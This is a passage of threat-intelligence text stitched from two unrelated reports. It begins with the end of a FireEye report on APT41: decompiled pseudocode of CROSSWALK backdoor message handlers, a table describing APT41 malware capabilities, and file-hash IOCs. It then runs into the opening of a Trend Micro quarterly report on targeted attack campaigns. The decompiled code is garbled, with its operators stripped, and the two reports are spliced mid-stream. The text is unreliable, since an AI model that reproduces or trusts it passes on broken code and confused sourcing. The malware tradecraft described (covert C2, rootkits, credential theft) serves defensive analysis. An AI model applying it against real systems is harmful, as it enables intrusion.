32i64))(0i64, 0i64, ((v4  35))(v38) (((v4  25)  272i64))(v36, 0xFFFFFFFFi64) (((v4  25)  48i64))(v36) v2  1 return v2  v5  a1[12] v6  a1[13] v7  a1[11] v8  v4[24] v9  v4[19] v10  v4[25] v4[12]  v7 v11  v10  v9  v8 v4[13]  v7 v12  0 v13  v10  v9  v8 v14  v4 - v8 do  v15  v14 v12  v15  __ROR4__(v12, v7) --v13  while ( v13 ) if ( v6  v12 ) return v2 v16  v4  48 v17  v9  v10 - 192 v18  v17 if ( v17  0 )  v19  v4[14] 00008590 cgp_decode_shellcode:49 (8590) 56       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Obfuscation and Anti-Analysis Overlaps Both code families share the same function at the start of their shellcode to de-obfuscate subsequent shellcode.
A key function within the shellcode component that generates a semi-random XOR key and is used in multiple code locations for decoding is identical in CROSSWALK and CROSSWALK.BIN.
Both use the same function for import resolution via an ASCII hash.
However, there are differences between the two malware families, including how they communicate to CC servers.
CROSSWALK beacons with HTTP GET and POST requests, while CROSSWALK.BIN uses a custom binary protocol.
CROSSWALK.BIN contains a driver component for covert CC, which CROSSWALK lacks.
Both families contain similar code to process identical message types, but their answers differ.
CROSSWALK.BIN answers to 0x78 and 0x7A message types by calling large functions wrapping the business logic.
CROSSWALK has different, much shorter code embedded directly in the case statement.
strcpy(v22, r c:d,l:d\n) v11  0i64 v12  0 ((v3  2032))(v22, v8, v5) switch ( msg_type )  case 0x64u: if ( msg_type[1]  216 )  v16  100 goto LABEL_37  v21   ((v9  248))(0i64, 216i64, 4096i64, 4i64) if ( v21 ) return 0 (((v9  200)  1856i64))(v21, v7, msg_type[1]) if ( (((v9  200)  928i64))((v9  832), 100i64, v21, msg_type[1]) 0 ) return 1 v10  0 v14  (((v9  200)  320i64))() v15  7021i64 goto LABEL_42 case 0x6Eu: return 1 case 0x78u: if ( msg_type[1]  16 )  v16  120 goto LABEL_37  v20  ((v9  248))(0i64, 16i64, 4096i64, 4i64) if ( v20 ) return 0 (((v9  200)  1856i64))(v21, v7, msg_type[1]) if ( (((v9  200)  928i64))((v9  832), 100i64, v21, msg_type[1]) 0 ) return 1 v10  0 v14  (((v9  200)  320i64))() v15  7021i64 goto LABEL_42 case 0x7Au: v19  msg_type[1] if ( v19  0x1000 )  if ( v19 )  v11  ((v9  248))(0i64, 16i64, 4096i64, 4i64) if ( v11 ) return 10 (((v9  200)  1856i64))(v11, v7, msg_type[1]) v12  msg_type[1]  if ( (((v9  200)  928i64))((v9  832), 122i64, v11, v12)  0 ) return 1 v14  (((v9  200  320i64))() v15  7023i64 goto LABEL_42  v16  122 goto LABEL_37 case 0x82u: strcpy(fmt_msg, r cd,l:d\n): if ( v3  ) goto LABEL_48 v6  sub_3398() v2  v6 if ( v6  2 ) return 1 if ( v6  0 ) return v2 LABEL_48: v7  (msg_type  11) (((v5  200)  1872i64))(fmt_msg, msg_type, msg_type[1]) switch ( msg_type )  case 0x64u: (((v5  200  1872i64))(v5  1320, 22i64) v13  cgp_cb_msgtype_0x64_wrapper(v5, (msg_type  11)) v9  v5 if ( v13  0 )  (v5  760)  1 if ( sub_5F44(v5)  0 ) return 1 v9  v5  v11  100 goto LABEL_43 case 0x6Eu: return 1 case 0x78u: v10  cgp_cb_msgtype_0x78(v5, v8, msg_type  11) goto LABEL_38 case 0x7Au v10  cgp_cb_msgtype_07A(v5, v8, (msg_type  11)) goto LABEL_38  Figure 23: CROSSWALK (left) and CROSSWALK.
BIN (right) code for answering different CC message types.
SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       57 TECHNICAL ANNEX Malware Used by APT41 Table 15.
Malware used by APT41.
Malware Description Detected as ACEHASH ACEHASH is a credential theft/password hash dumping utility.
The code may be based in Mimikatz and appears to be publicly available.
FE_Trojan_AceHash ADORE.XSEC ADORE.XSEC is a Linux backdoor that may be used with the ADORE rootkit.
FE_APT_Backdoor_Linux64_ADORE_1 FE_APT_Rootkit_Linux64_ADORE_1 FE_APT_Rootkit_ADORE ASPXSPY ASPXSPY is a publicly available web shell that may contain the text ASPXSpy Ver: 2009.
FE_Webshell_ASPX_ASPXSPY_1 FE_Webshell_ASPX_ASPXSPY_2 FE_Webshell_ASPX_ASPXSPY_3 FE_Webshell_ASPX_ASPXSPY_4 BEACON BEACON malware is a backdoor that is commercially available as part of the Cobalt Strike software platform, commonly used for pen-testing network environments.
The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands.
FE_Backdoor_Win_BEACON_1 FE_Trojan_PS1_BEACON_1 CHINACHOP CHINACHOP is a simple code injection web shell that can execute Microsoft .NET code within HTTP POST commands.
This allows CHINACHOP to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and perform any other action allowed by the .NET runtime.
CHINACHOP is composed of at least two parts: a small bit of code on a server and a client that provides CC.
FE_Webshell_JSP_CHOPPER_1 FE_Webshell_Java_CHOPPER_1 FE_Webshell_MSIL_CHOPPER_1 COLDJAVA COLDJAVA is a backdoor that drops shellcode and a BLACKCOFFEE variant payload into the Windows registry.
FE_APT_Trojan_COLDJAVA_Dropper FE_APT_Trojan_COLDJAVA_64 FE_APT_Trojan_COLDJAVA_32 FE_APT_Backdoor_COLDJAVA FE_APT_Trojan_COLDJAVA_Launcher CRACKSHOT CRACKSHOT is a downloader that can download files, including binaries, and run them from the hard disk or execute them directly in memory.
It is also capable of placing itself into a dormant state.
FE_Backdoor_Win32_CRACKSHOT_1 Backdoor.
Win.
CRACKSHOT CROSSWALK CROSSWALK is a skeletal, modular backdoor capable of system survey and adding modules in response to CC replies.
FE_APT_Backdoor_Win_CROSSWALK_1 FE_APT_Loader_Win_CROSSWALK_1 APT.Backdoor.
Win.
CROSSWALK CROSSWALK.BIN CROSSWALK.BIN is a kernel driver that can implement firewall-level filters to detect tasking packets and covertly send data.
FE_APT_Dropper_Win64_CROSSWALK_1 FE_APT_Dropper_Win64_CROSSWALK_2 FE_APT_Trojan_Win64_CROSSWALK_1 58       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Table 15.
Malware used by APT41.
Malware Description Detected as DEADEYE DEADEYE is a downloader that is installed as a Service DLL.
It can use RC5 encryption to decrypt and install payloads obtained from its CC server.
FE_APT_Loader_Win64_DEADEYE_1 FE_APT_Loader_Win64_DEADEYE_2 DOWNTIME DOWNTIME is a backdoor dropped as an embedded PE file to a variety of locations on disk or loaded and executed in memory.
The final payload is a DLL used to install, manage, and execute plugin DLLs.
FE_Dropper_Win32_DOWNTIME_1 FE_Loader_Win32_DOWNTIME_1 EASYNIGHT EASYNIGHT is a loader observed used with several malware families, including HIGHNOON and HIGHNOON.
LITE.
The loader often acts as a persistence mechanism via search order hijacking.
FE_APT_Loader_Win_EASYNIGHT_1 ENCRYPTORRAAS ENCRYPTORRAAS (Encryptor RaaS) is a ransomware that encrypts all files on the system that match an included file extensions list.
As is typical of most ransomware, a combination of both public-key and symmetric-key cryptography is used to encrypt the data.
File data is encrypted using RC6, with the RC6 key for each file being encrypted with RSA.
A ransom note in the form of a text file, typically named readme_liesmich_encryptor_raas.
txt, is dropped in every directory in which a file was encrypted.
Encryptor RaaS was sold via a RaaS operation that was available around the 20152016 time frame via a Tor (.onion) website.
FE_Ransomware_Win32_ENCRYPTORRAAS_1 FE_Ransomware_Win32_ENCRYPTORRAAS_2 FRONTWHEEL FRONTWHEEL is a driver for the HIGHNOON.BIN backdoor.
FE_APT_Rootkit_Win64_FRONTWHEEL_1 GEARSHIFT GEARSHIFT is a memory-only dropper for two keylogger DLLs.
It is designed to replace a legitimate Fax Service DLL.
FE_APT_Keylogger_GEARSHIFT GH0ST Gh0st is a remote access tool (RAT) derived from publicly available source code.
It provides threat actors with the ability to perform screen and audio captures, enable a webcam, list and kill processes, open a command shell, wipe event logs, and create, manipulate, delete, launch, and transfer files.
Backdoor.
APT.Gh0stRat Backdoor.
APT.Gh0st Trojan.
Ghost GOODLUCK GOODLUCK is a credential-stealing DLL that modifies the registry, so it loads when a user logs on to the system.
It steals credentials from the logon screen and saves the information to a local file.
Hacktool.
APT.GOODLUCK HIGHNOON HIGHNOON is a backdoor that may consist of multiple components.
The components may include a loader, a DLL, and a rootkit.
Both the loader and the DLL may be dropped together, but the rootkit may be embedded in the DLL.
The HIGHNOON loader may be designed to run as a Windows service.
FE_APT_Backdoor_Win64_HIGHNOON_1 FE_APT_Dropper_HIGHNOON_B FE_APT_Loader_Win64_HIGHNOON_2 FE_APT_Loader_Win64_HIGHNOON_3 FE_APT_Rootkit_Win64_HIGHNOON_1 FE_APT_Rootkit_Win64_HIGHNOON_2 FE_APT_Rootkit_Win64_HIGHNOON_3 SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       59 Table 15.
Malware used by APT41.
Malware Description Detected as HIGHNOON.BIN HIGHNOON.BIN is a modified version of the Windows DLL apphelp.dll, which is loaded via search order hijacking.
HIGHNOON.BIN contains a malicious shellcode backdoor that is loaded into memory at runtime.
FE_APT_Trojan_Win32_HIGHNOON_1 FE_APT_Loader_Win32_HIGHNOON_1 FE_APT_Loader_Win64_HIGHNOON_1 FE_APT_Trojan_Win32_HIGHNOON_2 APT.Backdoor.
Win.
HIGHNOON APT.Backdoor.
Win.
HIGHNOON HIGHNOON.LITE HIGHNOON.LITE is a standalone, non-persistent variant of the HIGHNOON backdoor.
This version accepts a hostname and port on the command line.
If no port is specified, the malware will use port 80 by default.
HIGHNOON.LITE can download and execute additional memory-resident modules after it authenticates with the CC server.
FE_APT_Trojan_Win32_HIGHNOON_7 HIGHNOON.LINUX HIGHNOON.LINUX is a Linux backdoor designed to operate with a rootkit and can launch and establish persistence for an sshd client whose presence and activity is hidden by the rootkit.
FE_APT_Trojan_Linux64_HIGHNOON_1 FE_APT_Rootkit_Linux64_HIG HNOON_1 HIGHNOON.
PASTEBOY HIGHNOON.PASTEBOY is a variant of HIGHNOON that utilizes legitimate websites hosting encoded base64 strings that decode to the actual C2 address.
TROJAN.APT.PASTEBOY HKDOOR HKDOOR (aka Hackers Door) is a remote administration tool designed as a DLL that can either run as a service or with rundll32.exe.
HKDOOR drops and installs a kernel rootkit and has a variety of capabilities, including manipulating files and processes, connecting to URLs, and shutting down the compromised system.
All HKDOORs string resources are encoded with a transposition algorithm.
Backdoor.
APT.HKDOOR HOMEUNIX HOMEUNIX is primarily a generic launcher for downloaded plugins.
The plugins are stored in a memory buffer and then loaded and linked manually by the malware, meaning the plugins never have to touch disk.
However, HOMEUNIX may also store and save plugins.
The plugins will run after the system is rebooted without the actor having to send them again to the victim system.
FE_APT_HOMEUNIX_1 FE_APT_HOMEUNIX_2 FE_APT_HOMEUNIX_3 FE_APT_HOMEUNIX_4 FE_APT_HOMEUNIX_5 FE_APT_HOMEUNIX_6 FE_APT_HOMEUNIX_7 FE_APT_HOMEUNIX_8 FE_APT_HOMEUNIX_9 FE_APT_HOMEUNIX_10 FE_APT_HOMEUNIX_11 FE_APT_HOMEUNIX_12 FE_APT_HOMEUNIX_13 FE_APT_HOMEUNIX_14 FE_APT_HOMEUNIX_15 FE_APT_HOMEUNIX_16 APT.Backdoor.
Win.
HOMEUNIX Backdoor.
HOMEUNIX.SNK.DNS Trojan.
APT.9002, Backdoor.
APT.9002 60       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Table 15.
Malware used by APT41.
Malware Description Detected as HOTCHAI HOTCHAI is a backdoor that receives and XOR-decodes a DNS response message to retrieve the true CC IP address.
FE_APT_Backdoor_HOTCHAI JUMPALL JUMPALL is a malware dropper that has been observed dropping HIGHNOON/ZXSHELL/SOGU.
FE_Dropper_Win_JUMPALL_1 FE_Dropper_Win_JUMPALL_2 LATELUNCH LATELUNCH is a loader that decodes a file specified on the command line and loads and executes it in memory.
FE_Loader_Win64_LATELUNCH_1 LIFEBOAT LIFEBOAT is a backdoor that has the capability to communicate with its CC over HTTP.
FE_APT_Dropper_Win32_LIFE BOAT_1 FE_APT_Downloader_Win32_ LIFEBOAT_1 APT.Downloader.
Win.
LIFEBOAT LOWKEY LOWKEY is a passive backdoor that utilizes a user mode rootkit to provide covert communications with the backdoor component by forwarding packets in between a TCP Socket and a named pipe.
FE_APT_ROOTKIT_WIN64_LOWKEY_1 FE_APT_LOADER_WIN64_LOWKEY_1 FE_APT_BACKDOOR_WIN64_LOWKEY_1 APT.BACKDOOR.Win.
LOWKEY NJRAT njRAT is a RAT project that was in development possibly as early as 2010, and it has seen a number of incremental updates since that time.
The author of njRAT is widely believed to be a Kuwaiti actor using the handle njq8.
njq8, whose real name is believed to be Naser Al Mutairi, and who has previously used the handles NJN and xNJQ8x, has been involved in the development of multiple hacking tools, including RATs, worms, crypters, and binders.
He is, however, primarily known as the developer of njRAT, which he has distributed on private hacking forums and more visibly via Twitter.
Trojan.
Njrat Backdoor.
Bladabindi Trojan.
Bladabindi Backdoor.
MSIL.Bladabindi Trojan.
Bladabindi.
F Trojan.
Bladabindi.njRat Trojan.
Bladabindi.
DNS Backdoor.
Bladabindi.
DNS Backdoor.
Ratenjay Backdoor.
LV Backdooor.njRat.
MVX Backdoor.njRat.
MVX Win.
Worm.
Njrat-2 Trojan.
NjRAT, Win.
Worm.
Njrat Malware.
DTI.Bladabindi, Trojan.
MSIL.Bladabindi Hacktool.
Bladabindi PACMAN PACMAN is a backdoor designed to run as a service.
Once active, PACMAN calls out to a hard-coded CC domain.
PACMAN has the following capabilities: retrieve drive types, terminate processes, create directories, obtain a directory listing, move files, return file attributes, remove directories, create files, read files, and copy files.
PACMAN can also extract credentials from Internet Explorer.
FE_Backdoor_Win32_PACMAN_1 Backdoor.
Win.
PACMAN PHOTO PHOTO is a DLL backdoor that can obtain directory, file, and drive listings, create a reverse shell, perform screen captures, record video and audio, list, terminate, and create processes, enumerate, start, and delete registry keys and values, log keystrokes, return user names and passwords from protected storage, and rename, delete, copy, move, read, and write to files.
Backdoor.
APT.PHOTO FE_APT_Photos_Metadata SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       61 Table 15.
Malware used by APT41.
Malware Description Detected as POISONPLUG POISONPLUG is a highly obfuscated modular backdoor with plug-in capabilities.
The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding.
POISONPLUG has been observed using social platforms to host encoded CC commands.
Backdoor.
Win.
POISONPLUG APT.Backdoor.
Win.
POISONPLUG POISONPLUG.
SHADOW POISONPLUG.SHADOW is a modular backdoor with plugin capabilities.
The first stage is shellcode, observed within compromised legitimate software.
It connects to a CC server for validation and configuration information to download the second stage.
The second stage is a modular backdoor that can download plugins for additional functionality.
POISONPLUG.SHADOW is assessed as an evolution of the POISONPLUG family.
FE_Backdoor_Win_POISONPLUG_1 FE_Backdoor_Win32_POISONPLUG_1 FE_Backdoor_Win_POISONPLUG_2 POTROAST POTROAST is a backdoor that connects to a hard- coded CC server.
Its capabilities include downloading, uploading, and executing files and creating a reverse shell.
FE_APT_Backdoor_Win_POTROAST_1 APT.Backdoor.
Win.
POTROAST ROCKBOOT ROCKBOOT can access and write to the compromised systems hard disk drive beneath the operating system and file system to bypass the normal MBR boot sequence and execute malware prior to the host operating system being initialized.
ROCKBOOT does not contain a malicious payload but relies on a secondary payload for malicious activities, which is specified at install time.
FE_APT_Backdoor_ROCKBOOT FE_Loader_Win_ROCKBOOT_1 SAGEHIRE SAGEHIRE is a multistage implant that decodes each stage using shellcode and includes keylogging capabilities.
FE_APT_Sunshop_Dialog SWEETCANDLE SWEETCANDLE is a downloader that can download and execute a payload received from the CC server.
FE_APT_Downloader_Win32_SWEETCANDLE_1 FE_APT_Downloader_Win32_SWEETCANDLE_2 APT.Downloader.
Win.
SWEETCANDLE SOGU SOGU is a backdoor that is capable of file upload and download, arbitrary process execution, filesystem and registry access, service configuration access, remote shell access, and implementing a custom VNC/RDP-like protocol to provide the CC server with graphical access to the desktop.
Backdoor.
APT.SOGU Backdoor.
APT.Kaba Trojan.
Plugx TERA TERA is a backdoor that uses legitimate services, such as Google Translate and Yahoo Babel Fish, as proxies to download CC configurations.
It also uses a rootkit to mask network activity.
After resolving the IP address of its CC server, TERA will provide an input output control (IOCTL) code to its driver (rootkit component).
FE_APT_Backdoor_Win32_TERA_1 FE_APT_Backdoor_Win32_TERA_2 FE_APT_Backdoor_Win32_TERA_3 FE_APT_Backdoor_Win64_TERA_1 FE_APT_Rootkit_Win64_TERA_1 TIDYELF TIDYELF is a dropper for the WINTERLOVE backdoor.
WINTERLOVE has been observed embedded within a resource within TIDYELF.
TIDYELF will load the main WINTERLOVE component by injecting it into the iexplore.
exe process.
It will then create a registry key named HKLM\SOFTWARE\RAT to store configuration data for WINTERLOVE components to use.
FE_APT_Dropper_Win32_TIDYELF_1 62 SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Table 15.
Malware used by APT41.
Malware Description Detected as WIDETONE WIDETONE is a command-line tool that can perform network-based reconnaissance tasks, including port scans, service banner scans, and pingscans.
WIDETONE can brute-force credentials for SQL servers and Inter-Process Communication (IPC) shares.
WIDETONE can also query Windows host information and perform dictionary and brute-force attacks.
FE_Trojan_Win_WIDETONE_1 FE_Trojan_Win32_WIDETONE_1 WINTERLOVE WINTERLOVE is a backdoor used by suspected Chinese cyber espionage actors.
WINTERLOVE attempts to load and execute remote code in a running process and can enumerate system files and directories.
FE_APT_Loader_Win32_WINTERLOVE_1 FE_APT_Keylogger_Win32_WINTERLOVE_1 FE_APT_Loader_Win32_WINTERLOVE_2 FE_APT_Trojan_Win32_WINTERLOVE_1 FE_APT_Backdoor_Win32_WINTERLOVE_1 XDOOR X-Door is a full-featured remote administration tool (RAT) with a configurable deployment and plug-in architecture.
It is freely downloadable through a Chinese website, and the deployment interface and server use the Chinese language.
X-Door contains functionality for keylogging, audio and video capture, file transfers, acting as a proxy, retrieving system information, providing a reverse command shell, injecting DLLs, and downloading and launching commands.
FE_APT_Backdoor_XDOOR Backdoor.
APT.XDOOR XMRIG XMRIG is an open-source Monero cryptocurrency miner.
It has variants for CPU, NVIDIA GPU, and AMD GPU mining.
FE_Trojan_Win_XMRMiner_1 FE_PUP_Win_XMRig_1 ZXSHELL ZXSHELL is a backdoor that can be downloaded from the internet, particularly Chinese hacker websites.
The backdoor can launch port scans, run a keylogger, capture screenshots, set up an HTTP or SOCKS proxy, launch a reverse command shell, cause SYN floods, and transfer/ delete/run files.
The publicly available version of the tool provides a graphical user interface that malicious actors can use to interact with victim backdoors.
Simplified Chinese is the language used for the bundled ZXSHELL documentation.
Backdoor.
APT.ZXShell FE_APT_Backdoor_ZXShell FE_APT_ZXSHELL_1 FE_APT_ZXSHELL_2 FE_APT_ZXSHELL_3 FE_APT_ZXSHELL_4 FE_APT_ZXSHELL_5 FE_APT_ZXSHELL_6 Backdoor.
APT.ZXShell.
SYSINFO_Command Backdoor.
APT.ZXShell.
GETCMD_Command Backdoor.
APT.ZXShell.
FILEMG_Command Backdoor.
APT.ZXShell.
TRANSFILE_Command, ZXSHELL RAT, Trojan.
ZxShell Backdoor.
APT.Viper FE_APT_VIPER SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       63 TECHNICAL ANNEX APT41 IOCs Table 16.
CRACKSHOT File MD5 File SHA1 File SHA256 04fb0ccf3ef309b1cd587f609ab0e81e 44260a1dfd92922a621124640015160e621f32d5 993d14d00b1463519fea78ca65d852966 3f487cd76b67b3fd35440bcdf7a8e31 0b2e07205245697a749e422238f9f785 dde82093decde6371eb852a5e9a1aa4acf3b56ba 049a2d4d54c511b16f8bc33dae670736bf 938c3542f2342192ad877ab38a7b5d 272537bbd2a8e2a2c3938dc31f0d2461 a045939f53c5ad2c0f7368b082aa7b0bd7b116da d00b3edc3fe688fa035f1b919ef6e8f4 51a9c2197ef83d9bac3fa3af5e752243 dd792f9185860e1464b4346254b2101b a260dcf193e747cee49ae83568eea6c04bf93cb3 7096f1fdefa15065283a0b7928d1ab9792 3688c7974f98a33c94de214c675567 fcfab508663d9ce519b51f767e902806 8272c1f41f7c223316c0d78bd3bd5744e25c2e9f c667c9b2b9741247a56fcf0deebb4dc52 b9ab4c0da6d9cdaba5461a5e2c86e0c Table 17.
GEARSHIFT File MD5 File SHA1 File SHA256 5b26f5c7c367d5e976aaba320965cc7f c2fb50c9ef7ae776a42409bce8ef1be464654a4e 7e0c95fc64357f12e837112987333cdaf 8c1208ef8c100649eba71f1ea90c1db f8c89ccd8937f2b760e6706738210744 f3c222606f890573e6128fbeb389f37bd6f6bda3 4aa6970cac04ace4a930de67d4c18106c f4004ba66670cfcdaa77a4c4821a213 Table 18.
HIGHNOON File MD5 File SHA1 File SHA256 46a557fbdce734a6794b228df0195474 41bac813ae07aef41436e8ad22d605f786f9e099 42d138d0938494fd64e1e919707e7201 e6675b1122bf30ab51b1ae26adaec921 77c60e5d2d99c3f63f2aea1773ed4653 ad77a34627192abdf32daa9208fbde8b4ebfb25c 7566558469ede04efc665212b45786a 730055770f6ea8f924d8c1e324cae8691 849ab91e93116ae420d2fe2136d24a87 3f1dee370a155dc2e8fb15e776821d7697583c75 7cd17fc948eb5fa398b8554fea036bdb 3c0045880e03acbe532f4082c271e3c5 64       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Table 21.
POISONPLUG File MD5 File SHA1 File SHA256 223e4cc4cf5ce049f300671697a17a01 1835c7751436cc199c55b42f34566d25fe6104ca e65d39fa659f64a57ee13e8a638abd9 031fa1486311d2782f32e979d5dee1ca5 37e100dd8b2ad8b301b130c2bca3f1ea 32466d8d232d7b1801f456fe336615e6fa5e6ffb 2eea29d83f485897e2bac9501ef000cc 266ffe10019d8c529555a3435ac4aabd 557ff68798c71652db8a85596a4bab72 971bb08196bba400b07cf213345f55ce0a6eedc8 5d971ed3947597fbb7e51d806647b37d 64d9fe915b35c7c9eaf79a37b82dab90 830a09ff05eac9a5f42897ba5176a36a 2366d181a1697bcb4f368df397dd0533ab8b5d27 70c03ce5c80aca2d35a5555b0532eede de24d4cc6bdb32a2c8f7e630bba5f26e b0877494d36fab1f9f4219c3defbfb19 4dc5fadece500ccd8cc49cfcf8a1b59baee3382a 3e6c4e97cc09d0432fbbbf3f3e424d4a a967d3073b6002305cd6573c47f0341f c8403fabda4d036a55d0353520e765c9 d0429abec299ddfee7e1d9ccff1766afd4c0992b 9283703dfbc642dd70c8c76675285526 90e998bcb3f3374273c0b5c90c0d1366 ff8d92dfbcda572ef97c142017eec658 6f065eea36e28403d4d518b8e24bb7a915b612c3 f4d57acde4bc546a10cd199c70cdad0 9f576fdfe66a36b08a00c19ff6ae19661 ffd0f34739c1568797891b9961111464 82072cb53416c89bfee95b239f9a90677a0848df 0055dfaccc952c99b1171ce431a02abf ce5c6f8fb5dc39e4019b624a7d03bfcb Table 20.
JUMPALL File MD5 File SHA1 File SHA256 ba08b593250c3ca5c13f56e2ca97d85e adde0644a572ed593e8b0566698d4e3de0fe fb8a c51c5bbc6f59407286276ce07f0f7ea9 94e76216e0abe34cbf20f1b1cbd9446d Table 19.
HIGHNOON.BIN File MD5 File SHA1 File SHA256 36711896cfeb67f599305b590f195aec 1036a7088b060250bb66b6de91f0c6ac462 dc24c 490c3e4af829e85751a44d21b25de1781 cfe4961afdef6bb5759d9451f530994 7d51ea0230d4692eeedc2d5a4cd66d2d 5ee7c57dc84391f63eaa3824c53cc10eafc9e388 63e8ed9692810d562adb80f27bb1aeaf 48849e468bf5fd157bc83ca83139b6d7 a0a96138b57ee24eed31b652ddf60d4e 03de2118aac6f20786043c7ef0324ef01dcf4265 79190925bd1c3fae65b0d11db40ac8e6 1fb9326ccfed9b7e09084b891089602d SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       65 Table 22.
POISONPLUG.SHADOW File MD5 File SHA1 File SHA256 72584d6b7dd10c82d9118567b548b2b1 f067443c2c4d99dc6577006a2f105e51af731659 faedf9fef6edac2f0565882112b2eae14e dda024239d3218a9fe9ac7e0b12db6 97363d50a279492fda14cbab53429e75 f1a181d29b38dfe60d8ea487e8ed0ef30f064763 462a02a8094e833fd456baf0a6d4e18 bb7dab1a9f74d5f163a8334921a4ffde8 a6c7db170bc7a4ee2cdb192247b59cd6 5a85d1e19e0414fc59e454ccbaef0a3c6bb41268 92cb362ae8d24c05f368d13036534fe01 4344994d46031a0a8636a7ca0b792c6 Phishing Payloads Table 23.
(
MERS).7z File MD5 File SHA1 File SHA256 5e87b09f9a3f1b728c9797560a38764b 67c957c268c1e56cc8eb34b02e5c09eae62680f5 354c174e583e968f0ecf86cc20d59ecd 6e0f9d21800428453b8db63f344f0f22 Table 24.
Documents.7z File MD5 File SHA1 File SHA256 8c6cceae2eea92deb6f7632f949293f0 b193ff40a98cd086f92893784d8896065faa3ee3 bae8f4f5fc959bff980d6a6d12797b0d 647e97cc811c5b9e827d0b985d87f68f 66       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Domains agegamepay[.
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]com FireEye, Inc. 601 McCarthy Blvd.
Milpitas, CA 95035 408.321.6300/877.FIREEYE (347.3393) infoFireEye.com To learn more about FireEye, visit: www.
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A TrendLabs Report 2Q Report on Targeted Attack Campaigns Trend Micro  2Q Report on Targeted Attack Campaigns 2 Contents Introduction ...........................................................................................................................................4 Campaigns Observed in 2Q ................................................................................................................5 Targeted Attack Campaigns Profiling  ..................................................................................5 Affected Industry Sectors .......................................................................................................6 Affected Regions ......................................................................................................................6 Attachments Used In Targeted Attacks ................................................................................7 CC Statistics ...........................................................................................................................7 Feature: EvilGrab Campaign Targets Diplomatic Agencies ..........................................................8 Targets ........................................................................................................................................8 Attack Vectors ...........................................................................................................................9 Exploits, Payloads, and Decoy Documents ..........................................................................9 DLL Preloading Using the Windows Shell and Fax Server ...............................................9 Trend Micro  2Q Report on Targeted Attack Campaigns 3 TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only.
It is not intended and should not be construed to constitute legal advice.
The information contained herein may not be applicable to all situations and may not reflect the most current situation.
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Use of this information constitutes acceptance for use in an as is condition.
Other Autorun Behaviors .....................................................................................................10 Stealth Operation....................................................................................................................10 Registry Storage ......................................................................................................................11 Media Grabbing ......................................................................................................................11 User Credential Theft ............................................................................................................11 Tencent QQ Memory Reading: ............................................................................................13 Key Logging ............................................................................................................................13 Command  Control Servers ...............................................................................................14 Backdoor Activity ...................................................................................................................15 Trend Micro Recommendations .......................................................................................................21 References ............................................................................................................................................22 Trend Micro  2Q Report on Targeted Attack Campaigns 4 Introduction Highly targeted attacks refer to a category of  threats that pertain to intrusions by threat actors or attackers.
These attackers aggressively pursue and compromise chosen targets in order to steal sensitive information.
These are not conducted through separate attacks rather, they comprise of  a series of  attempts over time to get deeper and deeper into a targets network.
Each attempt may either succeed or fail, but the overall goal is to penetrate the targets network and acquire information.
Malware is typically used as an attack vector, but the real threat involves human operators who adapt, adjust, and improve their methods based on the victims defenses.
Enterprises should consider targeted attacks a high-priority threat because of  the considerable damage they incur.
The human and systemic weaknesses that allow an attacker to compromise an organization can be minimized and mitigated with correct practices and solutions.
However, these same weaknesses can never be fully resolved.
Trend Micro monitors the targeted attack landscape in order to identify ongoing campaigns and provide additional threat intelligence useful for identifying the existence of  these campaigns in an enterprise network.
This quarterly report presents the targeted attack campaigns observed and mitigated by Trend Micro based on reported customer cases, as well as our own independently gathered data.
Trend Micro  2Q Report on Targeted Attack Campaigns 5 Campaigns Observed in 2Q Targeted Attack Campaigns Profiling We encountered a variety of  targeted campaigns in the second quarter of  the year.
These include the following: IXESHE.
The IXESHE campaign is known for targeting East Asian governments, electronics manufacturers, and telecommunications firms.
We released a white paper discussing this campaign.1 IXESHE has been active since 2012.
ELISE.
This recently discovered campaign also targets government agencies in the Asia Pacific region.
It is called ELISE after certain strings found in its unpacked code.
(
We detect the malware used by this campaign as BKDR_ELISE.)
ZEGOST.
This family of  backdoors (aka HTTP Tunnel) is Chinese in origin and was used in attacks against Asian government organizations.
BEEBUS/MUTTER.
This is a targeted campaign believed to be associated with the Comment Crew attacker group because of  the use of  encrypted/ obfuscated HTML comments to hide their CC transactions.
TravNet.
This campaign made use of  a malware family identified as NetTraveler based on the strings found in the malware code.
The malware is detected as BKDR_TRAVLAR.
Trend Micro  2Q Report on Targeted Attack Campaigns 6 Affected Industry Sectors Our data indicates that the majority of  targeted attack victims are various government agencies.
Targeted firms from the technology sector include telecommunication firms, Internet service providers, and software companies.
The financial services sector and the aerospace industry were also targeted this quarter.
Affected Regions The targeted attacks that we analyzed were heavily concentrated in Asia, particularly Taiwan and Japan.
Targeted attacks discovered by industry Targeted attacks discovered by region Trend Micro  2Q Report on Targeted Attack Campaigns 7 Attachments Used In Targeted Attacks Based on our findings, the most common type of  email attachment type used in targeted attacks were file archives of  various forms.
When uncompressed, these archives typically contain the malicious payload itself, which the user may then run directly.
Alternately, they may also contain a .DOC file that contains exploit code.
RTF files made up the second most common file type.
Frequently, the .EXE files we see are made to appear as ordinary documents or folders using appropriately chosen icons.
In addition, we also saw an increased use of  files that make use of  right-to-left override (RTLO) in Unicode.
CC Statistics We were also able to monitor the activity of  various CC servers related to targeted attacks.
